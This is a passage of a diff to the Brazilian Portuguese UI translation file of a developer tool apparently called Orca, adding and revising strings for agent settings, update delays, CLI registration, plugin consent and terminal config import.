+          "pty": "pty",
+          "capacity": "capacidade"
+        }
+      },
+      "wordSeparators": {
+        "description": "Caracteres tratados como limites de palavras para seleção com clique duplo, incluindo espaço.",
+        "noSpaceHint": "Nenhum espaço incluído – clique duplo para selecionar entre espaços."
       }
     },
     "agents": {
@@ -1583,7 +1759,6 @@
       "permissionOwnDescription": "Terminais e chats seguem as configurações de permissão próprias do agente.",
       "permissionOwnShort": "Configurações próprias",
       "permissionWithoutAuto": "Agentes sem Aprovar por mim",
-      "permissionMixed": "Misto",
       "permissionSurfaceDifference": "Os terminais usam as configurações próprias do agente; novos chats usam {{mode}}.",
       "permissionSameAsAll": "Igual a todos os agentes",
       "permissionChipRemove": "Remover {{flag}} e usar as configurações próprias de {{agent}}",
@@ -1628,8 +1803,12 @@
       "defaultSurfaceSetAllChat": "Definir todos como Chat",
       "defaultSurfaceSetAllTerminal": "Definir todos como Terminal",
       "sameAsChoice": "Igual a {{agent}} · {{choice}}",
+      "modelListFallback": "Lista integrada. O Orca não conseguiu obter uma lista de modelos deste host.",
       "chatUnavailableOnWindows": "O {{value0}} Chat ainda não está disponível no Windows, então o {{value0}} abre em um terminal neste host. Chats em um host macOS ou Linux continuam funcionando.",
-      "undetectedCommandHint": "Se a CLI do {{agent}} estiver instalada fora do PATH, informe o caminho completo do executável neste host."
+      "undetectedCommandHint": "Se a CLI do {{agent}} estiver instalada fora do PATH, informe o caminho completo do executável neste host.",
+      "permissionMixed": "Misto",
+      "choiceChipTooltip": "Adicionado por {{choice}}. Remova-o para usar o padrão.",
+      "choiceChipRemove": "Remover {{flag}}"
     },
     "followSymlinkedDirectoriesKeywords": {
       "symlink": "link simbólico",
@@ -1656,7 +1835,8 @@
         "terminalsOnly": "Aplica-se somente a terminais",
         "extraArgs": "Argumentos de CLI extras",
         "launchOptions": "Modelo e permissões",
-        "savedLaunchOptions": "Opções salvas: {{value0}}. Servidores mais antigos usam as próprias configurações de permissão."
+        "savedLaunchOptions": "Opções salvas: {{value0}}. Servidores mais antigos usam as próprias configurações de permissão.",
+        "effort": "Esforço"
       },
       "actionPermissions": {
         "sameAsAgent": "Igual a {{agent}}"
@@ -1761,7 +1941,53 @@
       "includeHelp": "Corresponde aos caminhos relativos à raiz do espaço de trabalho. Sem um glob correspondente, não há formatação. * e ** ignoram nomes que começam com ponto; liste-os explicitamente, por exemplo .github/**/*.yml. Ative Formatar ao salvar em Geral > Editor para usar este comando.",
       "saving": "Salvando…",
       "save": "Salvar formatador",
+      "placeholder": "npx --no-install prettier --stdin-filepath \"${file}\"",
       "710343e374": "Comando do formatador"
+    },
+    "general": {
+      "openInMenu": {
+        "keyword": {
+          "windsurf": "windsurf",
+          "devin": "Devin",
+          "devinDesktop": "devin desktop"
+        }
+      }
+    },
+    "openInApp": {
+      "preset": {
+        "devinDesktop": "Devin Desktop"
+      }
+    },
+    "windowMaterial": {
+      "description": "O que aparece por trás dos terminais translúcidos. Requer reinicialização.",
+      "off": "Opaco",
+      "translucent": "Translúcido",
+      "acrylic": "Desfoque acrílico",
+      "blur": "Desfocado",
+      "reducedEffects": "Desativado enquanto a configuração Reduzir efeitos visuais ou Reduzir transparência do sistema estiver ativada.",
+      "needsOpacity": "Reduza a opacidade do plano de fundo para menos de 1 para ver a área de trabalho através dos terminais.",
+      "linuxCompositor": "O compositor determina se aplicará desfoque. Requer reinicialização.",
+      "restartDescription": "Reinicie o Orca para aplicar a alteração do material da janela.",
+      "keywords": {
+        "acrylic": "acrílico"
+      },
+      "windowsUnsupported": "Requer Windows 11 versão 22H2 ou posterior."
+    },
+    "updateDelay": {
+      "description": "Aguarde esse número de dias após a publicação de uma versão para que o Orca a ofereça.",
+      "none": "Nenhum",
+      "heldTitle": "Orca {{version}} está em espera",
+      "progress": "Tempo até o Orca {{version}} ficar disponível",
+      "skipDelayOnceHint": "Verifique este lançamento agora. Sua configuração de atraso permanece a mesma.",
+      "upToDateWithHeld": "Você está usando a versão mais recente disponível. Uma versão mais nova ficará disponível em {{date}}.",
+      "heldReleaseReady": "Uma versão mais recente está pronta. Verifique se há atualizações para obtê-la.",
+      "keywordDelay": "atraso",
+      "keywordCooldown": "intervalo",
+      "keywordSecurity": "segurança",
+      "availableSoon": "Disponível para você {{relative}}",
+      "availableOn": "Disponível para você em {{date}} ({{relative}})",
+      "clearedTitle": "Orca {{version}} está pronto",
+      "released": "Lançado {{released}}"
     }
   },
   "auto": {
@@ -1912,6 +2138,12 @@
       },
       "runtimeGitWorkingTreeClient": {
         "resolveConflictNeedsNewerHost": "Para resolver conflitos, é necessária uma versão mais recente do Orca neste host. Atualize o Orca nesse host."
+      },
+      "remoteTerminal": {
+        "connectionClosed": "A conexão com o ambiente remoto foi fechada.",
+        "streamClosed": "O fluxo do terminal remoto foi fechado.",
+        "streamEnded": "O fluxo do terminal remoto terminou.",
+        "streamStopped": "O fluxo do terminal remoto parou de responder."
       }
     },
     "ssh": {
@@ -2058,7 +2290,8 @@
                     "pr": {
                       "suppression": "Atualize o runtime remoto para desvincular pull requests do GitHub"
                     }
-                  }
+                  },
+                  "dismissRenameError": "Atualize o ambiente remoto para descartar erros de nomeação automática"
                 }
               }
             }
@@ -2805,7 +3038,11 @@
       },
       "claudeAgentRowView": {
         "subagentNavigationSetup": "Ative a navegação de subagentes do Claude em Configurações → Agentes e depois inicie o Claude 2.1.300+ no Orca. Verifique se o keybindings.json ainda associa Ctrl+Alt+G, H ou V a command:orca-agent-view.",
-        "permissionPrompt": "Responda à solicitação de permissão do Claude antes de trocar de agente."
+        "permissionPrompt": "Responda à solicitação de permissão do Claude antes de trocar de agente.",
+        "openParentConversation": "Abrir conversa principal",
+        "parentViewFailed": "Claude não conseguiu abrir a conversa principal. Tente novamente no painel Claude.",
+        "childViewFailed": "Claude não conseguiu abrir este agente. Tente novamente no painel Claude.",
+        "parentNavigationSetup": "Claude não conseguiu abrir a conversa principal. Ative a navegação de subagentes em Configurações → Agentes e reinicie o Claude neste painel."
       },
       "dropFailureReason": {
         "tooLarge": "Grande demais para enviar a este host.",
@@ -2821,6 +3058,52 @@
         "title": "Adicione pastas de unidades do Windows neste computador",
         "descriptionWithPath": "{{value0}} está em uma unidade do Windows. O Git no WSL relata falsas alterações de fim de linha nela, não detecta edições feitas pelo Windows e faz buscas nela lentamente.",
         "description": "Esta pasta está em uma unidade do Windows. O Git no WSL relata falsas alterações de fim de linha nela, não detecta edições feitas pelo Windows e faz buscas nela lentamente."
+      },
+      "cli": {
+        "detail": {
+          "registerForWsl": "Registre {{path}} para usar o Orca pelo WSL.",
+          "registerForTerminal": "Registre {{path}} para usar o Orca pelo terminal.",
+          "registerForWindowsShell": "Registre {{path}} para usar o Orca pelo Prompt de Comando ou PowerShell.",
+          "devLauncherOnly": "O modo de desenvolvimento usa um launcher gerado apenas para validação.",
+          "differentLauncher": "{{path}} aponta para outro launcher.",
+          "launcherMissing": "O launcher da CLI incluído está ausente nesta versão do Orca.",
+          "noWslDistro": "Nenhuma distribuição WSL está disponível.",
+          "notOrcaLauncherScript": "{{path}} existe, mas não é um script inicializador do Orca.",
+          "notOrcaSymlink": "{{path}} existe, mas não é um link simbólico do Orca.",
+          "olderLauncher": "{{path}} contém um launcher do Orca mais antigo.",
+          "platformUnsupported": "O registro da CLI não está implementado nesta plataforma.",
+          "readlinkPermissionDenied": "O Orca não tem permissão para inspecionar {{path}}. Verifique as permissões do caminho e do diretório pai e tente novamente.",
+          "registeredAt": "Registrado em {{path}}.",
+          "registeredInDistroAt": "Registrado em {{distro}} em {{path}}.",
+          "registrationUnavailable": "O registro da CLI não está disponível nesta versão.",
+          "unreadableSymlink": "Não é possível ler {{path}}. Registre novamente para repará-lo.",
+          "windowsLauncherMissing": "O launcher da CLI do Orca para Windows está ausente.",
+          "windowsPathCheckFailed": "O launcher do Orca existe, mas o Orca não conseguiu verificar o PATH do seu usuário do Windows.",
+          "windowsPathTimedOut": "O comando de PATH do Windows atingiu o tempo limite após {{ms}} ms.",
+          "wslCommandTimedOut": "O comando do WSL atingiu o tempo limite após {{ms}} ms.",
+          "wslDistroUnreachable": "Não foi possível alcançar a distribuição WSL. Tente novamente.",
+          "wslHomeUnresolved": "Não foi possível resolver o diretório inicial do WSL.",
+          "wslInteropUnavailable": "A interoperabilidade WSL-Windows não está disponível; o Orca não pode iniciar a CLI do Windows pelo WSL.",
+          "wslRegistrationUnavailable": "O registro da CLI do WSL não está disponível.",
+          "wslWindowsOnly": "O registro da CLI do WSL está disponível apenas no Windows."
+        }
+      },
+      "projectHostSetupOptions": {
+        "locationNotSet": "Local do projeto não definido"
+      },
+      "workspacePortScan": {
+        "serverSshUpdateRequired": "Atualize o servidor para ver as portas nos hosts SSH dele.",
+        "hostMismatch": "O servidor verificou um host diferente daquele em que este espaço de trabalho é executado."
+      },
+      "executionHostFacts": {
+        "sshPlatformWithheld": "O host SSH ainda não informou seu sistema operacional. Conecte-se a ele e tente novamente.",
+        "runtimePlatformWithheld": "O servidor Orca ainda não informou seu sistema operacional. Reconecte-se e tente novamente.",
+        "runtimePlatformUpdate": "Este servidor Orca não informa seu sistema operacional. Atualize o servidor para iniciar agentes nele.",
+        "hostUnresolvedWithheld": "O Orca ainda não consegue identificar o host deste espaço de trabalho."
+      },
+      "workspacePortBrowserOpen": {
+        "systemBrowserHint": "{{shortcut}}+clique para abrir no navegador do sistema",
+        "tooltip": "{{label}}. {{hint}}"
       }
     },
     "components": {
@@ -3143,7 +3426,9 @@
             "rateLimitResetsAvailable_many": "{{count}} redefinições de limite de taxa disponíveis",
             "staleCodexSessions_one": "{{count}} sessão do Codex ainda está na conta antiga.",
             "staleCodexSessions_other": "{{count}} sessões do Codex ainda estão na conta antiga.",
-            "staleCodexSessions_many": "{{count}} sessões do Codex ainda estão na conta antiga."
+            "staleCodexSessions_many": "{{count}} sessões do Codex ainda estão na conta antiga.",
+            "signedOutAccounts": "Desconectado",
+            "addAnotherAccount": "Adicionar outra conta…"
           },
           "StatusBarUsageEmptyCta": {
             "828c764a79": "Conectar uma conta",
@@ -3852,6 +4137,8 @@
             "ddd5efe113": "shell",
             "3de504994c": "Shell e argumentos usados em novos painéis locais de terminal interativo",
             "1733ccd3e9": "Shell do terminal",
+            "kitty_import": "Importar da Kitty",
+            "kitty_import_description": "Importação única das configurações compatíveis de kitty.conf.",
             "10344a316c": "Separadores de Palavra",
             "b1061a2826": "Aceleração por GPU",
             "8afdce471f": "Tamanho da Fonte",
@@ -4047,6 +4334,9 @@
             "browsing": "navegação",
             "nodeDistMirror": "espelho",
             "nodeDistNodejs": "nodejs",
+            "markdownDefaultViewDesc": "Define como os arquivos Markdown são abertos. Clique com o botão direito no seletor de visualização de uma aba Markdown para alterar essa opção.",
+            "markdownSourceKw": "origem",
+            "markdownRichKw": "rico",
             "d9168badd2": "Atraso do Salvamento Automático",
             "34cda90656": "Cronômetro do Cache de Prompt",
             "b8e1e1ac68": "Árvore de Arquivos Padrão do Diff",
@@ -4390,7 +4680,14 @@
             "c29089716e": "Uso do Kimi",
             "96e32c1118": "Uso do MiniMax",
             "aff6e6afdf": "Fonte do IDE",
-            "ba1f9d39a6": "Uso do Antigravity"
+            "ba1f9d39a6": "Uso do Antigravity",
+            "statusBarUsageFormat": {
+              "title": "Formato de uso",
+              "description": "Personalize, com marcadores, como o uso de cada provedor aparece na barra de status.",
+              "format": "formato",
+              "template": "modelo",
+              "placeholder": "marcador"
+            }
           }
         },
         "repository": {
@@ -5212,13 +5509,6 @@
               "inWindow": "na própria janela",
               "worktrees": "worktrees",
               "eaf17a7214": "Painel de Agentes"
-            },
-            "browserExtensions": {
-              "title": "Extensões de navegador",
-              "description": "Execute extensões do Chrome, como gerenciadores de senhas, nas abas do navegador do Orca.",
-              "extension": "extensão",
-              "chrome": "chrome",
-              "password": "gerenciador de senhas"
             }
           }
         },
@@ -5521,7 +5811,6 @@
           }
         },
         "AppearancePane": {
-          "3057983501": "Não atribuído",
           "b707773a0d": "Quando ativado, fechar a janela mantém o Orca em execução na bandeja do sistema em vez de encerrá-lo.",
           "0cd9b8228f": "Escolha o ícone do app exibido no Dock e no alternador de janelas.",
           "61d842eca0": "Mostra o atalho do Orca Mobile na barra lateral. Ele continua disponível na Caixa de Ferramentas.",
@@ -5709,10 +5998,6 @@
             "modeAriaLabel": "Modo de abertura do Painel de Agentes",
             "modeInWindow": "Na própria janela",
             "modePopout": "Janela separada"
-          },
-          "browserExtensions": {
-            "copy": "Adiciona Configurações › Navegador › Extensões para perfis de navegador locais.",
-            "toggleLabel": "Ativar ou desativar extensões de navegador"
           }
         },
         "RuntimePairingUrlGenerator": {
@@ -5833,6 +6118,7 @@
           "4415beb958": "desativado",
           "4e7d41a9f0": "ativado",
           "dimUnfocusedPanes": "Escurece painéis sem foco.",
+          "kitty_import": "Importar da Kitty",
           "4adb9364f4": "Formato do Cursor",
           "4d8b35c479": "Opacidade do Painel Inativo",
           "55c3f22e7c": "Opacidade do Cursor",
@@ -5928,6 +6214,10 @@
             "remote": "remoto",
             "ssh": "ssh",
             "mute": "silenciar",
+            "c9b2b656e0": "Notifique quando um agente de codificação pedir permissão ou tiver alguma dúvida.",
+            "b8bf5471d1": "permissão",
+            "5b9dafd570": "pergunta",
+            "009548060d": "entrada",
             "55ecae5b7e": "Enviar Notificação de Teste",
             "25f58f061f": "Ativar Notificações",
             "fe11c91724": "Volume da Notificação",
@@ -6350,6 +6640,7 @@
           "5195f0b9ef": "Mostra sublinhados e sugestões de ortografia do navegador ao editar Markdown avançado.",
           "9b18de6eea": "Quebra linhas longas nos editores de arquivo em vez de exigir rolagem horizontal.",
           "collapseUnchangedDescription": "Mostra somente as linhas alteradas e um pouco de contexto ao redor em um diff de arquivo, ocultando o restante por trás de faixas expansíveis. O diff Ver Todas as Alterações sempre recolhe dessa forma.",
+          "markdownDefaultViewDesc": "Define como os arquivos Markdown são abertos. Clique com o botão direito no seletor de visualização de uma aba Markdown para alterar essa opção.",
           "a37865966c": "Salvar Arquivos Automaticamente",
           "8b3f8e6b83": "Notas de Revisão em Markdown",
           "89ba15b474": "Atraso do Salvamento Automático",
@@ -6495,6 +6786,7 @@
           "98d70fb261": "Não foi possível reproduzir o som de notificação personalizado",
           "c83b05a055": "As notificações não são suportadas neste sistema",
           "e4b5e909ff": "Quando desativado, os espaços de trabalho ocultos por uma opção Ocultar no menu Filtros da barra lateral não mostram o ponto de não lido nem enviam notificações para este computador ou seu celular.",
+          "e1b1724793": "Um agente de codificação pede permissão ou tem uma dúvida.",
           "6bc7bd7b6e": "Sino do Terminal",
           "0acae1066d": "Tarefa do Agente Concluída",
           "3b77513cd0": "Notificar sobre espaços de trabalho ocultos",
@@ -6517,11 +6809,14 @@
             "secrets": "Guardar os próprios segredos criptografados",
             "settingsOwn": "Ler e alterar as próprias configurações",
             "terminalRun": "Executar comandos nos seus terminais, incluindo SSH",
-            "agentsRead": "Receber avisos quando o status de um agente mudar"
+            "agentsRead": "Receber notificações quando o status do agente mudar",
+            "terminalRead": "Leia a saída dos seus terminais, incluindo SSH",
+            "workspaceWrite": "Abra seus espaços de trabalho e arquivos e execute comandos integrados",
+            "agentLaunch": "Inicie agentes em seus espaços de trabalho, incluindo SSH"
           },
           "decisionFailed": "Não foi possível salvar a decisão de permissão. Tente novamente.",
           "fullAccessWarning": "Acesso total: é executado como um programa normal e pode ler seus arquivos, usar a rede, executar outros programas e controlar o Orca, incluindo seus terminais e agentes.",
-          "uiWarning": "Executa o código do publicador dentro do Orca para desenhar sua visualização. O Orca mostra o que ele pode acessar e pergunta antes de ativá-lo."
+          "uiWarning": "Executa o código do editor dentro do Orca para desenhar a visualização. O Orca mostra a que ele pode acessar e pergunta antes de ativá-lo."
         },
         "SparsePresetSettingsSection": {
           "6fa754d20f": "Excluir",
@@ -6929,6 +7224,8 @@
           "match_dark_mode_description": "Compartilha o tema de terminal escuro e a cor do divisor no modo claro.",
           "light_preview_description": "Mostra a aparência efetiva do terminal no modo claro.",
           "dark_preview_description": "Mostra a aparência efetiva do terminal no modo escuro.",
+          "deleted_imported_theme": "Excluído \"{{value0}}\"",
+          "undo": "Desfazer",
           "3ebb499929": "Pré-visualização do Modo Escuro",
           "43afde3df7": "Cor do Divisor no Modo Claro",
           "2a11e028ff": "Pré-visualização do Modo Claro",
@@ -7366,7 +7663,8 @@
           "ceefb9d7f1": "Nenhum tema encontrado.",
           "imported_themes": "Importado",
           "search_terminal_themes": "Pesquisar temas de terminal",
-          "plugin_themes": "Plugins"
+          "plugin_themes": "Plugins",
+          "delete_imported_theme": "Excluir {{value0}}"
         },
         "auto": {
           "rename": {
@@ -7792,6 +8090,8 @@
           "d2f33670a9": "Importar do Ghostty",
           "273e7e81fe": "Configurações",
           "1f744a72f4": "Configuração",
+          "not_found_choose_file": "Nenhuma configuração do Ghostty encontrada neste computador. Escolha um arquivo de configuração para importar um de outro local.",
+          "cleared": "Limpo",
           "9759d2dfa2": "Aplicar Alterações"
         },
         "ShortcutsPane": {
@@ -8373,6 +8673,9 @@
           "77410e0566": "Política de privacidade",
           "8bfdd23a88": "Ajude-nos a descobrir o que construir a seguir. O Orca envia contagens anônimas de quais recursos você usa e onde as coisas quebram."
         },
+        "RepositorySourceControlAiSection": {
+          "112f3b934f": "IA de Controle de Versão"
+        },
         "ephemeralVms": {
           "search": {
             "description": "Saiba como receitas pertencentes ao repositório dão a cada espaço de trabalho seu próprio ambiente descartável sob demanda.",
@@ -8665,6 +8968,24 @@
           "fffab5890b": "Exibe imagens diretamente no terminal usando os protocolos gráficos SIXEL, iTerm2 (IIP) e Kitty.",
           "08db7947d8": "Imagens Inline"
         },
+        "keep": {
+          "local": {
+            "main": {
+              "up": {
+                "to": {
+                  "date": {
+                    "setting": {
+                      "f4c23aee76": "Manter a Main Local Atualizada"
+                    }
+                  }
+                }
+              }
+            }
+          }
+        },
+        "BrowserUseEnableSwitch": {
+          "ce4d6f80d8": "Ativar Uso do Navegador por Agente"
+        },
         "YamlThemeImportButton": {
           "label": "Importar de YAML"
         },
@@ -8716,7 +9037,7 @@
         },
         "agent-workspace-trust-copy": {
           "title": "Confiar na pasta quando o Orca iniciar um agente",
-          "description": "Os agentes iniciados pelo Orca podem pular a pergunta “Você confia nesta pasta?”, para que os hooks e configurações de agentes do projeto sejam executados imediatamente. O Orca pergunta uma vez por repositório, na primeira vez que você inicia um agente nele, e você pode alterar a resposta nas configurações desse repositório. Desative para que os agentes sempre perguntem. Um agente que pergunta enquanto é executado sem sua supervisão, como um worker de orquestração, uma automação ou um agente iniciado pelo celular, espera até você responder no terminal dele. As pastas já confiáveis continuam confiáveis."
+          "description": "Os agentes iniciados pelo Orca podem pular a pergunta “Você confia nesta pasta?”, para que os hooks e configurações de agentes do projeto sejam executados imediatamente. Você pode desativar isso para um repositório nas configurações desse repositório. Desative para que os agentes sempre perguntem. Um agente que pergunta enquanto é executado sem sua supervisão, como um worker de orquestração, uma automação ou um agente iniciado pelo celular, espera até você responder no terminal dele. As pastas já confiáveis continuam confiáveis."
         },
         "MachineNameField": {
           "label": "Nome da máquina",
@@ -8914,7 +9235,10 @@
           "automationsLeftDisabled_other": "O servidor do Orca deste host assumiu {{count}} automações, mas não conseguiu reativá-las. Ative-as em Automações.",
           "automationsLeftDisabled_many": "O servidor do Orca deste host assumiu {{count}} automações, mas não conseguiu reativá-las. Ative-as em Automações.",
           "windowsBuildUnsupported": "Este host executa uma versão do Windows anterior ao Windows 10 e ao Windows Server 2016, então não consegue executar o servidor do Orca. Use um host com uma versão mais recente do Windows, ou um host Linux ou macOS.",
-          "windowsNoExtractor": "Este host Windows não tem tar.exe nem o Expand-Archive do PowerShell, então o Orca não consegue descompactar o servidor nele. Instale o Windows PowerShell 5.1 no host e conecte novamente."
+          "windowsNoExtractor": "Este host Windows não tem tar.exe nem o Expand-Archive do PowerShell, então o Orca não consegue descompactar o servidor nele. Instale o Windows PowerShell 5.1 no host e conecte novamente.",
+          "setupFreeHostSpace": "Este host não tem espaço livre em disco suficiente para que o Orca mantenha um backup dos dados do servidor ao iniciá-lo. Libere espaço no host e conecte-se novamente.",
+          "setupStopUnmanagedRuntime": "Um servidor Orca que não foi iniciado por este aplicativo ainda parece estar usando os dados do Orca neste host. Pare-o no host e conecte-se novamente. A seção Detalhes deste host, em Configurações > Hosts SSH, mostra o nome do processo.",
+          "setupSeeDetails": "O Orca não conseguiu iniciar seu servidor neste host. A causa está nos detalhes deste host, em Configurações > Hosts SSH."
         },
         "ZcodeCliSetupSection": {
           "title": "Usar GLM com ZCode",
@@ -9315,12 +9639,13 @@
         },
         "PluginInstallConsent": {
           "noOtherAccess": "Nenhum outro acesso",
-          "replacesShortcut": "{{value0}} ({{value1}}) substitui seu atalho de {{value2}}.",
+          "replacesShortcut": "{{value0}} ({{value1}}) substitui seu atalho para {{value2}}.",
           "updatesKeepApproval": "Atualizações só perguntam de novo por novo acesso",
           "fullAccessUpdates": "Atualizações podem mudar o código sem perguntar",
           "editsFileTypes": "Abre e edita arquivos {{value0}} no Orca. Pode ler os arquivos que abre.",
           "install": "Instalar e ativar",
-          "keepOff": "Manter desativado"
+          "keepOff": "Manter desativado",
+          "replacesAction": "{{value0}} é executado em vez do {{value1}} do Orca. Você pode alterná-lo novamente na página do plugin."
         },
         "PluginManagerRows": {
           "reinstall": "Reinstalar",
@@ -9382,7 +9707,8 @@
           "failedAll": "Não foi possível atualizar {{value0}}. Nada foi atualizado.",
           "close": "Fechar",
           "retry": "Tentar novamente",
-          "updated": "Atualizado"
+          "updated": "Atualizado",
+          "replacesAction": "{{value0}} é executado em vez do {{value1}} do Orca"
         },
         "PluginThemeUseNow": {
           "useForLight": "Usar no claro:",
@@ -9491,7 +9817,7 @@
           "installing": "Instalando…",
           "reviewLabel": "Revisar e instalar {{value0}}",
           "review": "Revisar e instalar",
-          "retry": "Tentar de novo"
+          "retry": "Tentar novamente"
         },
         "PluginContributionActionLanguage": {
           "switch": "Mudar idioma",
@@ -9524,7 +9850,7 @@
           "commands": "Comandos e painéis",
           "catalogLabel": "Filtrar por catálogo",
           "editors": "Editores",
-          "remoteVms": "Remoto/VMs",
+          "remoteVms": "Remotos/VMs",
           "games": "Jogos",
           "agents": "Agentes",
           "integrations": "Integrações"
@@ -9568,7 +9894,7 @@
         "pluginConsentCopy": {
           "addsCommands": "Adiciona comandos",
           "addsPanel": "Adiciona um painel",
-          "contentOnly": "Só conteúdo",
+          "contentOnly": "Somente conteúdo",
           "fullAccess": "Acesso total",
           "addsVmRecipes": "Adiciona receitas de VM",
           "opensAndEditsFiles": "Abre e edita arquivos",
@@ -9621,11 +9947,12 @@
           "languageCoverage": "Idioma da interface · {{value0}}% traduzido",
           "newFileMenu": "Adiciona ao menu +",
           "editorReplacesViewer": "Abre {{value0}} em vez do visualizador do Orca",
-          "editorMayReplaceViewer": "Pode abrir {{value0}} em vez do visualizador do Orca"
+          "editorMayReplaceViewer": "Pode abrir {{value0}} em vez do visualizador do Orca",
+          "statusBar": "Barra de status"
         },
         "PluginPageHero": {
           "screenshots": "Capturas de tela",
-          "openScreenshot": "Abrir captura de tela: {{value0}}",
+          "openScreenshot": "Abrir captura: {{value0}}",
           "position": "{{value0}} de {{value1}}",
           "previous": "Captura anterior",
           "next": "Próxima captura"
@@ -9634,7 +9961,8 @@
           "worktreeCreated": "Quando um workspace é criado",
           "worktreeRemoved": "Quando um workspace é removido",
           "agentStatusChanged": "Quando o status de um agente muda",
-          "detail": "Código em segundo plano é executado"
+          "detail": "Código em segundo plano é executado",
+          "workspaceChanged": "Quando você muda de espaço de trabalho ou seus terminais mudam"
         },
         "PluginChips": {
           "updateNeedsReview": "Atualização precisa de revisão",
@@ -9648,6 +9976,11 @@
           "dynamic": "dinâmico",
           "searchThemes": "Buscar temas…",
           "noThemes": "Nenhum tema corresponde à sua busca.",
+          "useTerminalTheme": "Usar as cores do terminal",
+          "browseThemes": "Explorar temas",
+          "moreThemes": "Mais temas",
+          "moreThemesLoading": "Carregando temas…",
+          "installingTheme": "Instalando {{value0}}…",
           "7ad388ec82": "Combinar com o Terminal"
         },
         "SettingsSearchableSelect": {
@@ -9668,26 +10001,59 @@
           "samePublisher": "Mais itens listados como {{value0}}",
           "shownPluginCount_many": "{{count}} plugins correspondentes exibidos, incluindo este"
         },
-        "RepositorySourceControlAiSection": {
-          "112f3b934f": "IA de Controle de Versão"
+        "editorTypography": {
+          "fontSizeUnit": "px",
+          "lineHeightAuto": "Automático",
+          "ligaturesAutoEnabled": "Auto - ativado para \"{{value0}}\".",
+          "ligaturesAutoDisabled": "Auto - desativado para \"{{value0}}\".",
+          "ligaturesOff": "Desativado",
+          "ligaturesAuto": "Automático",
+          "ligaturesOn": "Ativado",
+          "fontSmoothingGrayscale": "Tons de cinza",
+          "fontSmoothingNative": "Nativo",
+          "typographyKw": "tipografia",
+          "fontSizeDesc": "Tamanho base para editores de arquivos e visualizações de diff. Deixe em branco para usar o tamanho da fonte do terminal.",
+          "sizeKw": "tamanho",
+          "fontWeightDesc": "Peso da fonte nos editores de arquivos e nas visualizações de diff. Deixe em branco para usar o peso normal (400).",
+          "weightKw": "peso",
+          "boldKw": "negrito",
+          "lineHeightDesc": "Espaçamento entre linhas como múltiplo do tamanho da fonte do editor; valores de 8 ou mais são lidos como pixels. Deixe em branco ou 0 para espaçamento automático.",
+          "lineHeightKw": "altura de linha",
+          "spacingKw": "espaçamento",
+          "ligaturesDesc": "Exibir ligaduras como => e !== nos editores de arquivos e nas visualizações de diff.",
+          "ligaturesKw": "ligaduras",
+          "ligatureKw": "ligadura",
+          "fontFeaturesKw": "recursos de fonte",
+          "fontSmoothingDesc": "Como terminais e editores de código suavizam o texto. A opção Nativo desenha glifos mais espessos, semelhantes aos de outros terminais do macOS.",
+          "smoothingKw": "suavização",
+          "antialiasingKw": "suavização",
+          "thinKw": "texto fino"
         },
-        "keep": {
-          "local": {
-            "main": {
-              "up": {
-                "to": {
-                  "date": {
-                    "setting": {
-                      "f4c23aee76": "Manter a Main Local Atualizada"
-                    }
-                  }
-                }
-              }
-            }
+        "PluginSettingsSection": {
+          "reset": "Restaurar",
+          "title": "Configurações"
+        },
+        "FontAutocomplete": {
+          "installedFontsUnavailable": "Não foi possível listar as fontes instaladas. Digite qualquer nome de fonte instalada para usá-la."
+        },
+        "TerminalConfigImportModal": {
+          "kitty_title": "Importar da Kitty",
+          "kitty_description": "Revise as configurações que serão importadas do seu kitty.conf e os arquivos que ele inclui.",
+          "kitty_not_found": "Nenhum kitty.conf encontrado neste computador. Escolha um arquivo de configuração para importar um de outro local."
+        },
+        "StatusBarUsageFormatSetting": {
+          "reset": "Redefinir",
+          "previewLabel": "Prévia",
+          "previewBuiltin": "Deixe em branco para usar o formato padrão do Orca.",
+          "placeholder": {
+            "provider": "nome do provedor",
+            "plan": "plano (Codex)",
+            "windows": "porcentagem usada ou restante no período",
+            "reset": "tempo até a redefinição, por exemplo, 3h 15m",
+            "resetAt": "horário da redefinição, por exemplo, 20:50",
+            "buckets": "grupos de modelos Gemini",
+            "optional": "omitido quando um marcador dentro do grupo está vazio"
           }
-        },
-        "BrowserUseEnableSwitch": {
-          "ce4d6f80d8": "Ativar Uso do Navegador por Agente"
         }
       },
       "right": {
@@ -9934,7 +10300,8 @@
             "markResolved": "Marcar como resolvido",
             "keepFile": "Manter arquivo",
             "keepDeletion": "Manter exclusão",
-            "refreshAll": "Atualizar tudo"
+            "refreshAll": "Atualizar tudo",
+            "statusReadFailed": "O Git não conseguiu ler este espaço de trabalho. As alterações mostradas podem estar desatualizadas."
           },
           "checks": {
             "panel": {
@@ -10908,7 +11275,8 @@
             "9fffaf17c1": "Alternar barra lateral direita ({{value0}})",
             "aiVaultSessionHistory": "Agentes",
             "folderWorkspaces": "Worktrees anexadas",
-            "parentPrChecks": "Checks de PR"
+            "parentPrChecks": "Checks de PR",
+            "creatingWorkspace": "Disponível quando o espaço de trabalho estiver pronto"
           },
           "GitHubPRStackMap": {
             "3511405914": "fechado",
@@ -11111,7 +11479,9 @@
             "unavailable": "Este painel de plugin não está mais disponível.",
             "loading": "Carregando painel de plugin...",
             "unresponsive": "Este painel de plugin parou de responder e foi suspenso.",
-            "loadFailed": "Não foi possível carregar o painel de plugin."
+            "loadFailed": "Não foi possível carregar o painel de plugin.",
+            "needsDesktop": "Este painel funciona apenas no aplicativo Orca para desktop.",
+            "needsIsolatedFrames": "Este painel não está disponível porque precisa de quadros isolados de plugins, que estão desativados."
           },
           "CreateHostedReviewBasePicker": {
             "205ef284fa": "Branch base",
@@ -11465,7 +11835,16 @@
           "groupProjectsRemained_one": "Projetos do grupo restantes após excluí-lo: {{remaining}} de {{count}}.",
           "groupProjectsRemained_other": "Projetos do grupo restantes após excluí-lo: {{remaining}} de {{count}}.",
           "groupProjectsRemained_many": "Projetos do grupo restantes após excluí-lo: {{remaining}} de {{count}}.",
-          "hostServerReplaced": "Servidor diferente: esqueça-o e conecte novamente"
+          "hostServerReplaced": "Servidor diferente: esqueça-o e conecte novamente",
+          "projectGroupRefreshScanFailed": "Não foi possível verificar este grupo de projetos",
+          "projectGroupRefreshNoProjects": "Nenhum novo projeto encontrado",
+          "projectGroupRefreshPartial": "Alguns novos projetos não puderam ser adicionados ao grupo",
+          "projectGroupRefreshIncomplete": "A verificação da pasta parou cedo; alguns novos projetos podem não ter sido encontrados",
+          "projectGroupRefreshSuccess_one": "Adicionado {{count}} projeto a {{group}}",
+          "projectGroupRefreshSuccess_other": "Adicionados {{count}} projetos a {{group}}",
+          "refreshProjectGroup": "Atualizar projetos",
+          "projectGroupRefreshing": "Atualizando {{group}}…",
+          "projectGroupRefreshSuccess_many": "Adicionados {{count}} projetos a {{group}}"
         },
